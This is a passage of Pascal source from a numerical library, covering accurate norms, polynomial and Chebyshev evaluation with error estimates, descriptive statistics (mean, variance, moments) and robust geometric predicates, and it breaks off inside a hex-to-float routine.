{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
{$else}
procedure ssqd(var va{:array of double}; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
var
a: TDblVector absolute va;
{$endif}
var
i: integer;
t: extended;
begin
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('ssqd: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{based on http://www.netlib.org/lapack/explore-html/dlassq.f.html}
{see also Higham [9], Problem 27.5 for a proof of correctness}
scale := 0.0;
sumsq := 1.0;
if n<=1 then begin
if n=1 then scale := abs(a[0]);
exit;
end;
for i:=0 to n-1 do begin
t := abs(a[i]);
if t<>0 then begin
if scale < t then begin
sumsq := 1.0 + sumsq*sqr(scale/t);
scale := t;
end
else sumsq := sumsq + sqr(t/scale);
end;
end;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function sumsqrx(const a: array of extended; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of an extended vector}
{$else}
function sumsqrx(var va{:array of extended}; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqx(a,n,scale,sumsq);
sumsqrx := sqr(scale)*sumsq;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function norm2x(const a: array of extended; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of an extended vector}
{$else}
function norm2x(var va{:array of extended}; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqx(a,n,scale,sumsq);
norm2x := scale*sqrt(sumsq);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function sumsqr(const a: array of double; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of a double vector}
{$else}
function sumsqr(var va{:array of double}; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqd(a,n,scale,sumsq);
sumsqr := sqr(scale)*sumsq;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function norm2(const a: array of double; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of a double vector}
{$else}
function norm2(var va{:array of double}; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqd(a,n,scale,sumsq);
norm2 := scale*sqrt(sumsq);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEval(x: extended; const a: array of double; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
{$else}
function PolEval(x: extended; var va{:array of double}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
var
a: TDblVector absolute va;
{$endif}
var
i: integer;
s: extended;
begin
if n<=0 then begin
PolEval := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEval: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
s := a[n-1];
for i:=n-2 downto 0 do s := s*x + a[i];
PolEval := s;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalX(x: extended; const a: array of extended; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
{$else}
function PolEvalX(x: extended; var va{:array of extended}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
var
a: TExtVector absolute va;
{$endif}
var
i: integer;
s: extended;
begin
if n<=0 then begin
PolEvalX := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalX: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
s := a[n-1];
for i:=n-2 downto 0 do s := s*x + a[i];
PolEvalX := s;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalS(x: extended; const a: array of single; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
{$else}
function PolEvalS(x: extended; var va{:array of single}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
var
a: TSglVector absolute va;
{$endif}
var
i: integer;
s: extended;
begin
if n<=0 then begin
PolEvalS := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalS: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
s := a[n-1];
for i:=n-2 downto 0 do s := s*x + a[i];
PolEvalS := s;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function CSEvalX(x: extended; const a: array of extended; n: integer): extended;
{-Evaluate Chebyshev sum a[0]/2 + a[1]*T_1(x) +..+ a[n-1]*T_(n-1)(x) using Clenshaw algorithm}
{$else}
function CSEvalX(x: extended; var va{:array of extended}; n: integer): extended;
var
a: TExtVector absolute va;
{$endif}
var
b0,b1,b2: extended;
i: integer;
begin
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('CSEvalX: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
b2 := 0.0;
b1 := 0.0;
b0 := 0.0;
x := 2.0*x;
for i:=n-1 downto 0 do begin
b2 := b1;
b1 := b0;
b0 := x*b1 - b2 + a[i];
end;
CSEvalX := 0.5*(b0-b2);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalEE(x: double; const a: array of double; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
{$else}
function PolEvalEE(x: double; var va{:array of double}; n: integer; var e: double): double;
var
a: TDblVector absolute va;
{$endif}
var
i: integer;
s,z: double;
begin
{empty sum}
if n<=0 then begin
PolEvalEE := 0.0;
e := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalEE: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Double version of Algorithm 5.1 from Higham [9]}
s := a[n-1];
z := abs(x);
e := 0.5*abs(s);
for i:=n-2 downto 0 do begin
s := s*x + a[i];
e := e*z + abs(s);
end;
PolEvalEE := s;
{Note: With round to nearest, u=eps_d/2 can be used}
e := eps_d*abs(2.0*e-abs(s));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalEEX(x: extended; const a: array of extended; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
{$else}
function PolEvalEEX(x: extended; var va{:array of extended}; n: integer; var e: extended): extended;
var
a: TExtVector absolute va;
{$endif}
var
i: integer;
s,z: extended;
begin
{empty sum}
if n<=0 then begin
PolEvalEEX := 0.0;
e := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalEEX: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Extended version of Algorithm 5.1 from Higham [9]}
s := a[n-1];
z := abs(x);
e := 0.5*abs(s);
for i:=n-2 downto 0 do begin
s := s*x + a[i];
e := e*z + abs(s);
end;
PolEvalEEX := s;
{Note: With round to nearest, u=eps_x/2 can be used}
e := eps_x*abs(2.0*e-abs(s));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalCHE(x: double; const a: array of double; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate double precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
{$else}
function PolEvalCHE(x: double; var va{:array of double}; n: integer; var e: double): double;
var
a: TDblVector absolute va;
{$endif}
const
csd = 134217729.0; {2^27+1} {Split constant for TwoProduct}
var
i: integer;
p,q,s,t,h,u,w,z: double;
sh,sl,xh,xl: double;
begin
{empty sum}
if n<=0 then begin
PolEvalCHE := 0.0;
e := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalCHE: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Combined double version of Graillat et al [46] algorithms 7,8, and 9}
s := a[n-1];
{[xh,xl] = Split(x)}
z := x*csd;
xh := z - x;
xh := z - xh;
xl := x - xh;
{Initialize h = Horner sum for q+t}
h := 0.0;
{Initialize variables for error bound}
u := 0.0;
w := abs(x);
for i:=n-2 downto 0 do begin
{[sh,sl] = Split(s)}
z := s*csd;
sh := z - s;
sh := z - sh;
sl := s - sh;
{[p,q] = TwoProduct(s,x)}
p := s*x;
q := sh*xh;
q := p - q;
z := sl*xh;
q := q - z;
z := sh*xl;
q := q - z;
z := sl*xl;
q := z - q;
{[s,t] = TwoSum(p,a[i])};
s := p + a[i];
z := s - p;
t := s - z;
t := p - t;
z := a[i] - z;
t := t + z;
{Horner sum for q+t}
h := h*x;
z := q + t;
h := h + z;
{Horner sum for error bound}
u := u*w + (abs(q)+abs(t));
end;
z := h + s;
PolEvalCHE := z;
{Compute e with formula (15) of Graillat et al [46]}
{Note: With round to nearest, u=eps_d/2 can be used}
e := abs(z)*(1.0 + 2.0*eps_d);
e := e + 4.0*(n-0.5)*u;
e := eps_d*e;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function PolEvalCHEX(x: extended; const a: array of extended; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate extended precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
{$else}
function PolEvalCHEX(x: extended; var va{:array of extended}; n: integer; var e: extended): extended;
var
a: TExtVector absolute va;
{$endif}
const
csx = 4294967297.0; {2^32+1} {Split constant for TwoProduct}
var
i: integer;
p,q,s,t,h,u,w,z: extended;
sh,sl,xh,xl: extended;
begin
{empty sum}
if n<=0 then begin
PolEvalCHEX := 0.0;
e := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('PolEvalCHEX: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Combined extended version of Graillat et al [46] algorithms 7,8, and 9}
s := a[n-1];
{[xh,xl] = Split(x)}
z := x*csx;
xh := z - x;
xh := z - xh;
xl := x - xh;
{Initialize h = Horner sum for q+t}
h := 0.0;
{Initialize variables for error bound}
u := 0.0;
w := abs(x);
for i:=n-2 downto 0 do begin
{[sh,sl] = Split(s)}
z := s*csx;
sh := z - s;
sh := z - sh;
sl := s - sh;
{[p,q] = TwoProduct(s,x)}
p := s*x;
q := sh*xh;
q := p - q;
z := sl*xh;
q := q - z;
z := sh*xl;
q := q - z;
z := sl*xl;
q := z - q;
{[s,t] = TwoSum(p,a[i])};
s := p + a[i];
z := s - p;
t := s - z;
t := p - t;
z := a[i] - z;
t := t + z;
{Horner sum for q+t}
h := h*x;
z := q + t;
h := h + z;
{Horner sum for error bound}
u := u*w + (abs(q)+abs(t));
end;
z := h + s;
PolEvalCHEX := z;
{Compute e with formula (15) of Graillat et al [46]}
{Note: With round to nearest, u=eps_x/2 can be used}
e := abs(z)*(1.0 + 2.0*eps_x);
e := e + 4.0*(n-0.5)*u;
e := eps_x*e;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function mean(const a: array of double; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of a double vector}
{$else}
function mean(var va{:array of double}; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of a double vector}
var
a: TDblVector absolute va;
{$endif}
begin
if n<=0 then mean := 0.0
else mean := sum2(a,n)/n;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function meanx(const a: array of extended; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of an extended vector}
{$else}
function meanx(var va{:array of extended}; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of an extended vector}
var
a: TExtVector absolute va;
{$endif}
begin
if n<=0 then meanx := 0.0
else meanx := sum2x(a,n)/n;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure mssqx(const a: array of extended; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqx sum((a[i]-mval)^2) of an extended vector}
{$else}
procedure mssqx(var va{:array of extended}; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqx sum((a[i]-mval)^2) of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
i: integer;
t: extended;
begin
{empty sum}
scale := 0.0;
sumsq := 1.0;
if n<=0 then begin
mval := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('mssqx: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
if n=1 then mval := a[0]
else begin
mval := sum2x(a,n)/n;
{calculate sum((a[i]-mval)^2), cf. ssqx}
for i:=0 to n-1 do begin
t := abs(mval-a[i]);
if t<>0 then begin
if scale < t then begin
sumsq := 1.0 + sumsq*sqr(scale/t);
scale := t;
end
else sumsq := sumsq + sqr(t/scale);
end;
end;
end
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure mssqd(const a: array of double; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqd sum((a[i]-mval)^2) of a double vector}
{$else}
procedure mssqd(var va{:array of double}; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqd sum((a[i]-mval)^2) of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
i: integer;
t: extended;
begin
{empty sum}
scale := 0.0;
sumsq := 1.0;
if n<=0 then begin
mval := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('mssqd: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
if n=1 then mval := a[0]
else begin
mval := sum2(a,n)/n;
{calculate sum((a[i]-mval)^2), cf. ssqd}
for i:=0 to n-1 do begin
t := abs(mval-a[i]);
if t<>0 then begin
if scale < t then begin
sumsq := 1.0 + sumsq*sqr(scale/t);
scale := t;
end
else sumsq := sumsq + sqr(t/scale);
end;
end;
end
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure MeanAndStdDevX(const a: array of extended; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of an extended vector}
{$else}
procedure MeanAndStdDevX(var va{:array of extended}; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
mssqx(a, n, mval, scale, sumsq);
if n<2 then sdev := 0.0
else sdev := scale*sqrt(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure MeanAndStdDev(const a: array of double; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of a double vector}
{$else}
procedure MeanAndStdDev(var va{:array of double}; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
mssqd(a, n, mval, scale, sumsq);
if n<2 then sdev := 0.0
else sdev := scale*sqrt(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure moment(const a: array of double; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of a double vector}
{$else}
procedure moment(var va{:array of double}; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
q,d,scale,sumsq: extended;
i: integer;
begin
{Note: There many different notations for skewness and kurtosis, some scale}
{with the sample and not the population standard deviation, some subtract 3}
{from the kurtosis etc. These procedures are accurate versions of Delphi's }
{MomentSkewKurtosis and virtually use the following Maple V R4 definitions:}
{ m1 := describe[moment[1,0]](a); }
{ m2 := describe[moment[2,mean]](a); }
{ m3 := describe[moment[3,mean]](a); }
{ m4 := describe[moment[4,mean]](a); }
{ skew := describe[skewness](a); }
{ kurt := describe[kurtosis](a); }
mssqd(a, n, m1, scale, sumsq);
m2 := sqr(scale)*(sumsq/n);
m3 := 0.0;
m4 := 0.0;
skew := 0.0;
kurt := 0.0;
if n<2 then exit;
q := scale*sqrt(sumsq/n);
{Compute the higher moments using recursion formulas. These are obviously}
{more accurate than the Delphi formulas: try Delphi with (a,a+1,a+2,a+2) }
{for a=10^k and see the disaster for k>=5! My routines are accurate up to}
{k=15 (for k=16 the values are not exact doubles (and a+1=a!), but even }
{in this case moment gives correct results for the actual input vector!) }
{m_k(i) = sum(d(j)^k, j=1..i)/i = sum(d(j)^k,j=1..i-1)/i + d(i)^k/i }
{ = (i-1)m_k(i-1)/i + d(i)^k/i = m_k(i-1) + (d(i)^k - m_k(i-1))/i }
for i:=1 to n do begin
d := a[i-1] - m1;
m3 := m3 + (sqr(d)*d - m3)/i;
m4 := m4 + (sqr(d*d) - m4)/i;
{skew/kurt are defined only if m2<>0}
if q<>0 then begin
d := d/q;
skew := skew + (sqr(d)*d - skew)/i;
kurt := kurt + (sqr(d*d) - kurt)/i;
end;
end;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure momentx(const a: array of extended; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of an extended vector}
{$else}
procedure momentx(var va{:array of extended}; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
q,d,scale,sumsq: extended;
i: integer;
begin
{See procedure moment for explanations and notes}
mssqx(a, n, m1, scale, sumsq);
m2 := sqr(scale)*(sumsq/n);
m3 := 0.0;
m4 := 0.0;
skew := 0.0;
kurt := 0.0;
if n<2 then exit;
q := scale*sqrt(sumsq/n);
{compute the higher moments using recursion formulas}
for i:=1 to n do begin
d := a[i-1] - m1;
m3 := m3 + (sqr(d)*d - m3)/i;
m4 := m4 + (sqr(d*d) - m4)/i;
{skew/kurt are defined only if m2<>0}
if q<>0 then begin
d := d/q;
skew := skew + (sqr(d)*d - skew)/i;
kurt := kurt + (sqr(d*d) - kurt)/i;
end;
end;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function ssdev(const a: array of double; n: integer): extended;
{-Return the sample standard deviation of a double vector}
{$else}
function ssdev(var va{:array of double}; n: integer): extended;
{-Return the sample standard deviation of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqd(a, n, mval, scale, sumsq);
if n<2 then ssdev := 0.0
else ssdev := scale*sqrt(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function ssdevx(const a: array of extended; n: integer): extended;
{-Return the sample standard deviation of an extended vector}
{$else}
function ssdevx(var va{:array of extended}; n: integer): extended;
{-Return the sample standard deviation of an extended vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqx(a, n, mval, scale, sumsq);
if n<2 then ssdevx := 0.0
else ssdevx := scale*sqrt(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function psdev(const a: array of double; n: integer): extended;
{-Return the population standard deviation of a double vector}
{$else}
function psdev(var va{:array of double}; n: integer): extended;
{-Return the population standard deviation of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqd(a, n, mval, scale, sumsq);
if n<2 then psdev := 0.0
else psdev := scale*sqrt(sumsq/n);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function psdevx(const a: array of extended; n: integer): extended;
{-Return the population standard deviation of an extended vector}
{$else}
function psdevx(var va{:array of extended}; n: integer): extended;
{-Return the population standard deviation of an extended vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqx(a, n, mval, scale, sumsq);
if n<2 then psdevx := 0.0
else psdevx := scale*sqrt(sumsq/n);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function svar(const a: array of double; n: integer): extended;
{-Return the sample variance of a double vector}
{$else}
function svar(var va{:array of double}; n: integer): extended;
{-Return the sample variance of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqd(a, n, mval, scale, sumsq);
if n<2 then svar := 0.0
else svar := sqr(scale)*(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function svarx(const a: array of extended; n: integer): extended;
{-Return the sample variance of an extended vector}
{$else}
function svarx(var va{:array of extended}; n: integer): extended;
{-Return the sample variance of an extended vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqx(a, n, mval, scale, sumsq);
if n<2 then svarx := 0.0
else svarx := sqr(scale)*(sumsq/(n-1));
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function pvar(const a: array of double; n: integer): extended;
{-Return the population variance of a double vector}
{$else}
function pvar(var va{:array of double}; n: integer): extended;
{-Return the population variance of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqd(a, n, mval, scale, sumsq);
if n<2 then pvar := 0.0
else pvar := sqr(scale)*(sumsq/n);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function pvarx(const a: array of extended; n: integer): extended;
{-Return the population variance of an extended vector}
{$else}
function pvarx(var va{:array of extended}; n: integer): extended;
{-Return the population variance of an extended vector}
var
a: TDblVector absolute va;
{$endif}
var
mval,scale,sumsq: extended;
begin
mssqx(a, n, mval, scale, sumsq);
if n<2 then pvarx := 0.0
else pvarx := sqr(scale)*(sumsq/n);
end;
{--------------------------------------------------------------------}
{------------------------- Other function ---------------------------}
{--------------------------------------------------------------------}
{---------------------------------------------------------------------------}
function DegToRad(x: extended): extended;
{-Convert angle x from degrees to radians}
begin
DegToRad := x*Pi_180;
end;
{---------------------------------------------------------------------------}
function RadToDeg(x: extended): extended;
{-Convert angle x from radians to degrees}
begin
RadToDeg := x/Pi_180;
end;
{---------------------------------------------------------------------------}
function angle2(x1,x2,y1,y2: extended): extended;
{-Return the accurate angle between the vectors (x1,x2) and (y1,y2)}
var
d1,d2: extended;
begin
{Ref: W. Kahan, Cross-Products and Rotations in Euclidean 2- and 3-Space,}
{13, p.15. Online: http://www.cs.berkeley.edu/~wkahan/MathH110/Cross.pdf}
{A uniformly accurate arctan() formula for the angle between two vectors:}
d1 := hypot(x1,x2);
d2 := hypot(y1,y2);
if (d1=0.0) or (d2=0.0) then angle2 := 0.0
else begin
{x = x/|x|}
x1 := x1/d1;
x2 := x2/d1;
{y = y/|y|}
y1 := y1/d2;
y2 := y2/d2;
{d = x/|x| - y/|y|}
d1 := x1-y1;
d2 := x2-y2;
{x = x/|x| + y/|y|}
x1 := x1+y1;
x2 := x2+y2;
{y1 = |x/|x| - y/|y||}
y1 := hypot(d1,d2);
{y2 = |x/|x| + y/|y||}
y2 := hypot(x1,x2);
angle2 := 2.0*arctan2(y1,y2);
end;
end;
{---------------------------------------------------------------------------}
function orient2d(x1,y1,x2,y2,x3,y3: extended): extended;
{-Return the mathematical orientation of the three points (xi,yi): >0 if}
{ the order is counterclockwise, <0 if clockwise, =0 if they are collinear.}
{ Result is twice the signed area of the triangle defined by the points.}
var
det,detl,detr: extended;
const
eps = 3.2526065175E-19; {= (3 + 16*eps_x)*eps_x}
var
v1,v2: array[0..5] of extended;
begin
{Ref: J.R. Shewchuk, Adaptive Precision Floating-Point Arithmetic and Fast}
{Robust Geometric Predicates; cf. his public domain code (predicates.c)}
{http://www-2.cs.cmu.edu/~quake/robust.html}
detl := (x1 - x3)*(y2 - y3);
detr := (y1 - y3)*(x2 - x3);
det := detl - detr;
{Set default result and test if fast calculation can be used.}
orient2d := det;
if (detl=0.0) or (detr=0.0) then exit;
if ((detl > 0.0) and (detr < 0.0)) or ((detl < 0.0) and (detr > 0.0)) then exit;
if abs(det) >= eps*(abs(detl) + abs(detr)) then exit;
{Fast calculation is not reliable and an accurate algorithm is needed}
{to compute orient2 = x1*y2 - x1*y3 - y1*x2 + y1*x3 - x3*y2 + y3*x2. }
{Shewchuk gives several robust formulas based on TwoSum & TwoProduct,}
{but here I calculate orient2 as an accurate dot product using dot2x.}
v1[0] := x1; v2[0] := y2;
v1[1] := x1; v2[1] := -y3;
v1[2] := y1; v2[2] := -x2;
v1[3] := y1; v2[3] := x3;
v1[4] := x3; v2[4] := -y2;
v1[5] := y3; v2[5] := x2;
orient2d := dot2x(v1,v2,6);
end;
{---------------------------------------------------------------------------}
function area_triangle(x1,y1,x2,y2,x3,y3: extended): extended;
{-Return the area of the triangle defined by the points (xi,yi)}
begin
area_triangle := 0.5*abs(orient2d(x1,y1,x2,y2,x3,y3));
end;
{---------------------------------------------------------------------------}
function in_triangle(x,y,x1,y1,x2,y2,x3,y3: extended): boolean;
{-Return true if the point (x,y) lies strictly inside the triangle defined}
{ by the three points (xi,yi), false if it lies on a side or outside.}
var
ori: integer;
begin
{See e.g. http://www.mochima.com/articles/cuj_geometry_article/cuj_geometry_article.html}
ori := isign(orient2d(x1,y1,x2,y2,x,y));
if ori=0 then in_triangle := false
else if ori <> isign(orient2d(x2,y2,x3,y3,x,y)) then in_triangle := false
else in_triangle := ori=isign(orient2d(x3,y3,x1,y1,x,y));
end;
{---------------------------------------------------------------------------}
function in_triangle_ex(x,y,x1,y1,x2,y2,x3,y3: extended): integer;
{-Return +1 if the point (x,y) lies strictly inside the triangle defined by}
{ the three points (xi,yi), -1 if it lies strictly outside, 0 otherwise.}
var
ori1,ori2,ori3: integer;
begin
in_triangle_ex := -1;
ori1 := isign(orient2d(x1,y1,x2,y2,x,y));
ori2 := isign(orient2d(x2,y2,x3,y3,x,y));
if ori1*ori2 = -1 then exit;
ori3 := isign(orient2d(x3,y3,x1,y1,x,y));
if (ori1=ori2) and (ori2=ori3) then begin
{all three orientations have the same value, inside if <> 0}
if ori1<>0 then in_triangle_ex := 1
else in_triangle_ex := 0;
end
else if (ori1=0) and ((ori2*ori3) >= 0) then in_triangle_ex := 0
else if (ori2=0) and ((ori1*ori3) >= 0) then in_triangle_ex := 0
else if (ori3=0) and ((ori1*ori2) >= 0) then in_triangle_ex := 0;
end;
{---------------------------------------------------------------------------}
function Ext2Dbl(x: extended): double;
{-Return x as double, or +-Inf if too large}
begin
if IsNanOrInf(x) then Ext2Dbl := x
else if x>MaxDouble then Ext2Dbl := PosInf_d
else if x < -MaxDouble then Ext2Dbl := NegInf_d
else Ext2Dbl := x;
end;
{$ifndef BIT16}
type char8=ansichar;
{$else}
type char8=char;
{$endif}
const
hnib: array[0..15] of char8 = '0123456789ABCDEF';
{---------------------------------------------------------------------------}
function Ext2Hex(x: extended): string;
{-Return x as a big-endian hex string}
var
ax : THexExtA absolute x;
i,j: integer;
s : string[20];
begin
{$ifndef BIT16}
setlength(s,20);
{$else}
s[0] := #20;
{$endif}
j := 1;
for i:=9 downto 0 do begin
s[j] := hnib[ax[i] shr 4 ]; inc(j);
s[j] := hnib[ax[i] and $f]; inc(j);
end;
Ext2Hex := {$ifdef D12Plus} string {$endif} (s);
end;
{---------------------------------------------------------------------------}
function Dbl2Hex(d: double): string;
{-Return d as a big-endian hex string}
var
ad : THexDblA absolute d;
i,j: integer;
s : string[16];
begin
{$ifndef BIT16}
setlength(s,16);
{$else}
s[0] := #16;
{$endif}
j := 1;
for i:=7 downto 0 do begin
s[j] := hnib[ad[i] shr 4 ]; inc(j);
s[j] := hnib[ad[i] and $f]; inc(j);
end;
Dbl2Hex := {$ifdef D12Plus} string {$endif} (s);
end;
{---------------------------------------------------------------------------}
function Sgl2Hex(s: single): string;
{-Return s as a big-endian hex string}
var
ad : THexSglA absolute s;
i,j: integer;
t : string[8];
begin
{$ifndef BIT16}
setlength(t,8);
{$else}
t[0] := #8;
{$endif}
j := 1;
for i:=3 downto 0 do begin
t[j] := hnib[ad[i] shr 4 ]; inc(j);
t[j] := hnib[ad[i] and $f]; inc(j);
end;
Sgl2Hex := {$ifdef D12Plus} string {$endif} (t);
end;
{---------------------------------------------------------------------------}
procedure Hex2Float({$ifdef CONST}const{$endif}hex: string; n: integer; var a: THexExtA; var code: integer);
{-Common code for hex to float conversion, internal use only}
var
i,j,m: integer;
b: byte;
c: char;
const
c0 = ord('0');
cal = ord('a') - 10;
cau = ord('A') - 10;
begin
